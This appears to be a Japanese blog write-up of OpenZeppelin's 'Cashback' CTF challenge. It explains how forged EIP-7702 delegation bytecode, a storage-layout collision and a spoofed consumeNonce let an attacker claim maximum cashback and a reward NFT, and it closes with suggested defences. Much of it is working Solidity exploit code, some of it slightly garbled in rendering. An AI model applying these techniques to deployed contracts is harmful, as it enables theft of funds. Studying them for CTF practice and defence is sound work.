Skip to content
On this page

CTF Cashback 課題深掘り解析:EIP-7702 とストレージレイアウト脆弱性を利用した過剰キャッシュバック攻撃

はじめに:Cashback システムのセキュリティ課題

ブロックチェーンのセキュリティ分野において、スマートコントラクトの権限管理や状態管理は常に核心的な課題です。OpenZeppelin の CTF 課題「Cashback」は、EIP-7702 に基づく暗号通貨キャッシュバックシステムを示しています。このシステムでは、外部所有アカウント(EOA)が委任メカニズムを通じてキャッシュバックポイントを累積できます。本技術記事では、システムのアーキテクチャ設計とセキュリティ脆弱性を深く分析し、攻撃者がストレージレイアウトや権限検証の欠陥を利用して、過剰キャッシュバックや特権 NFT を取得する方法を詳しく解説します。

システムアーキテクチャとコアメカニズム分析

EIP-7702 と委任メカニズム

Cashback システムは EIP-7702 提案に基づいており、この提案は EOA アカウントにスマートコントラクト機能を提供することを目的としています。本課題では、ユーザーは payWithCashback 関数を使用するために Cashback コントラクトへの委任が必要です。この委任メカニズムは、呼び出し元のコードをチェックすることで実現されています:

solidity
modifier onlyDelegatedToCashback() {
    bytes memory code = msg.sender.code;
    address payable delegate;
    assembly {
        delegate := mload(add(code, 0x17))
    }
    require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback());
    _;
}

この修飾子は呼び出し元のコードから委任アドレス(オフセット 0x17)を抽出し、そのアドレスが Cashback コントラクト自身であることを検証します。この仕組みにより、EOA は特定のコードパターンを用いて、委任済みスマートアカウントとして偽装できます。

キャッシュバック計算と NFT 報酬メカニズム

システムは複数通貨のキャッシュバック計算をサポートしており、キャッシュバック率や最大キャッシュバック額は設定可能です:

solidity
function accrueCashback(Currency currency, uint256 amount) external onlyDelegatedToCashback onlyUnlocked onlyOnCashback{
    uint256 newNonce = Cashback(payable(msg.sender)).consumeNonce();
    uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS;
    
    // キャッシュバック計算ロジック
    if (cashback != 0) {
        uint256 _maxCashback = maxCashback[currency];
        if (balanceOf(msg.sender, currency.toId()) + cashback > _maxCashback) {
            cashback = _maxCashback - balanceOf(msg.sender, currency.toId());
        }
        
        // ERC1155 残高の更新
        uint256 ;
        ids[0] = currency.toId();
        uint256 ;
        values[0] = cashback;
        _update(address(0), msg.sender, ids, values);
    }
    
    // NFT 報酬のトリガー条件
    if (SUPERCASHBACK_NONCE == newNonce) {
        (bool success,) = superCashbackNFT.call(abi.encodeWithSignature("mint(address)", msg.sender));
        require(success, CashbackSuperCashbackNFTMintFailed());
    }
}

ユーザーの nonce が特定の値(10000)に達すると、システムは Super Cashback NFT を報酬としてミントします。これは攻撃の重要なターゲットです。

脆弱性分析と攻撃戦略

脆弱性 1:ストレージレイアウトの衝突

コントラクトは layout at キーワードを使ってストレージ位置を指定しています:

solidity
contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 {
    uint256 public nonce;
    // ...
}

攻撃コントラクト MyNonce は同じストレージ位置を使用しています:

solidity
contract MyNonce layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba03 {
    uint256 public nonce;
    // ...
}

このストレージレイアウトの類似性により、攻撃者は精巧に設計されたコントラクトアドレスを通じて、2つのコントラクトが互いのストレージ状態を共有または干渉できるようになります。

脆弱性 2:権限検証の回避

accrueCashback 関数には3つの重要な修飾子があります:

  1. onlyDelegatedToCashback – 呼び出し元が委任済みであることを検証
  2. onlyUnlocked – 呼び出し元がアンロック状態であることを検証
  3. onlyOnCashback – Cashback コントラクトのコンテキストで実行されていることを検証

攻撃者は以下の方法でこれらのチェックを回避できます:

solidity
// 攻撃コントラクトでアンロック状態を返す
function isUnlocked() public pure returns (bool) {
    return true;
}

// nonce の返却値を制御
function consumeNonce() external returns (uint256) {
    if (!nonceOnce) {
        nonceOnce = true;
        return SUPERCASHBACK_NONCE; // 直接 10000 を返す
    }
    return 0;
}

脆弱性 3:委任検証メカニズムの欠陥

委任検証は呼び出し元コードの固定オフセット(0x17)から委任アドレスを読み取ります。攻撃者は特定のバイトコードを持つコントラクトをデプロイすることで、委任状態を偽装できます:

solidity
bytes memory creationCodePrefix = hex"6103F580600B5F395FF3FE";
bytes memory runtimeCodeJumpOffset = hex"6080604052348015610027575f5ffd5b...";

bytes memory runtimeCodeTampered = 
    bytes.concat(hex"601756", abi.encodePacked(CASHBACK_INST), hex"5b", runtimeCodeJumpOffset);

このバイトコードはオフセット 0x17 に Cashback コントラクトアドレスを配置し、onlyDelegatedToCashback チェックを通過させます。

攻撃フローの詳細

ステップ 1:攻撃コントラクトのデプロイ

攻撃スクリプトはまずファクトリーコントラクトをデプロイし、精巧に構築されたバイトコードで攻撃コントラクトを作成します:

solidity
MyFactory factory = new MyFactory();
CashbackAttack my = CashbackAttack(
    factory.deployFromBytecode(
        bytes.concat(creationCodePrefix, runtimeCodeTampered)
    )
);

ステップ 2:キャッシュバック累積関数の直接呼び出し

攻撃コントラクトは通常の支払いフローを回避し、accrueCashback を直接呼び出します:

solidity
function attack(Cashback cashbackContract, IERC20 freedomCoin, IERC721 superCashbackNFT, address recovery)
    external
{
    Currency freedomCoinCurrency = Currency.wrap(address(freedomCoin));
    
    cashbackContract.accrueCashback(NATIVE_CURRENCY, NATIVE_AMOUNT);
    cashbackContract.accrueCashback(freedomCoinCurrency, FREEDOM_COIN_AMOUNT);
    
    cashbackContract.safeTransferFrom(address(this), recovery, NATIVE_CURRENCY.toId(), NATIVE_MAX_CASHBACK, "");
    cashbackContract.safeTransferFrom(address(this), recovery, freedomCoinCurrency.toId(), FREE_MAX_CASHBACK, "");
    
    superCashbackNFT.transferFrom(address(this), recovery, uint256(uint160(address(this))));
}

ステップ 3:NFT ミントのトリガー

consumeNonce 関数で直接 10000 を返すことで、NFT ミント条件をトリガーします:

solidity
function consumeNonce() external returns (uint256) {
    if (!nonceOnce) {
        nonceOnce = true;
        return SUPERCASHBACK_NONCE; // 10000 を返して NFT ミント
    }
    return 0;
}

ステップ 4:ストレージ状態の操作

特定アドレスに MyNonce コントラクトをデプロイし、ストレージレイアウトを通じて元のコントラクト状態に影響を与えます:

solidity
MyNonce myNonce = new MyNonce();
vm.signAndAttachDelegation(address(myNonce), playerpk);
MyNonce(payable(address(player))).setNonce(9999);

ステップ 5:通常支払いフローの完了(オプション)

課題要件を満たすため、最後に通常支払いを実行します:

solidity
vm.signAndAttachDelegation(CASHBACK_INST, playerpk);
Cashback(payable(address(player))).payWithCashback(
    Currency.wrap(NATIVE_CURRENCY),
    player, 
    1
);

技術的ポイントと防御策

脆弱性のまとめ

  1. ストレージレイアウトの予測可能性:固定ストレージ位置により攻撃者は状態を予測・操作可能
  2. 不十分な委任検証:コードの特定オフセットのみをチェックしており、偽装されやすい
  3. 外部呼び出しに依存した状態検証isUnlocked()consumeNonce() が呼び出し元に依存
  4. 権限分離の欠如:重要関数に十分なアクセス制御がない

セキュリティ改善案

  1. 委任検証の強化
solidity
modifier onlyDelegatedToCashback() {
    require(isValidDelegation(msg.sender), "Invalid delegation");
    _;
}

function isValidDelegation(address account) internal view returns (bool) {
    return delegatedAccounts[account] && delegationTimestamps[account] > block.timestamp - DELEGATION_DURATION;
}
  1. ストレージレイアウトの改善
solidity
bytes32 private constant STORAGE_POSITION = keccak256("unique.cashback.storage.v1");
  1. 状態検証の強化
solidity
modifier onlyUnlocked() {
    require(unlockedStates[msg.sender], "Account not unlocked");
    require(block.timestamp < unlockExpiry[msg.sender], "Unlock expired");
    _;
}
  1. 完全な権限システムの実装
solidity
import "@openzeppelin/contracts/access/AccessControl.sol";

contract Cashback is ERC1155, AccessControl {
    bytes32 public constant CASHBACK_ROLE = keccak256("CASHBACK_ROLE");
    
    constructor() {
        _grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
    }
    
    function accrueCashback(Currency currency, uint256 amount) 
        external 
        onlyRole(CASHBACK_ROLE) 
    {
        // 実装
    }
}

結論と示唆

Cashback CTF 課題は、スマートコントラクト開発における複数レイヤーのセキュリティ課題を示しています。本ケースから得られる重要な教訓は:

  1. ストレージ管理の重要性:ストレージレイアウトの決定性や予測可能性は攻撃ベクトルになり得る
  2. 外部呼び出し検証の注意点:外部コントラクトの戻り値に依存する検証は慎重に行う必要がある
  3. 委任メカニズムの安全性:EIP-7702 などの新しい標準は便利さと同時に新たな攻撃面を導入する
  4. 防御の深さ:単一のセキュリティ対策では安全は保証されず、多層的な防御戦略が必要

この事例を理解することで、開発者はより安全なスマートコントラクト設計が可能となり、セキュリティ研究者は潜在的な脆弱性の特定と報告がより効果的に行えるようになります。ブロックチェーンエコシステムの安全性向上に向けた重要な知見を提供するケーススタディです。

Built with AiAda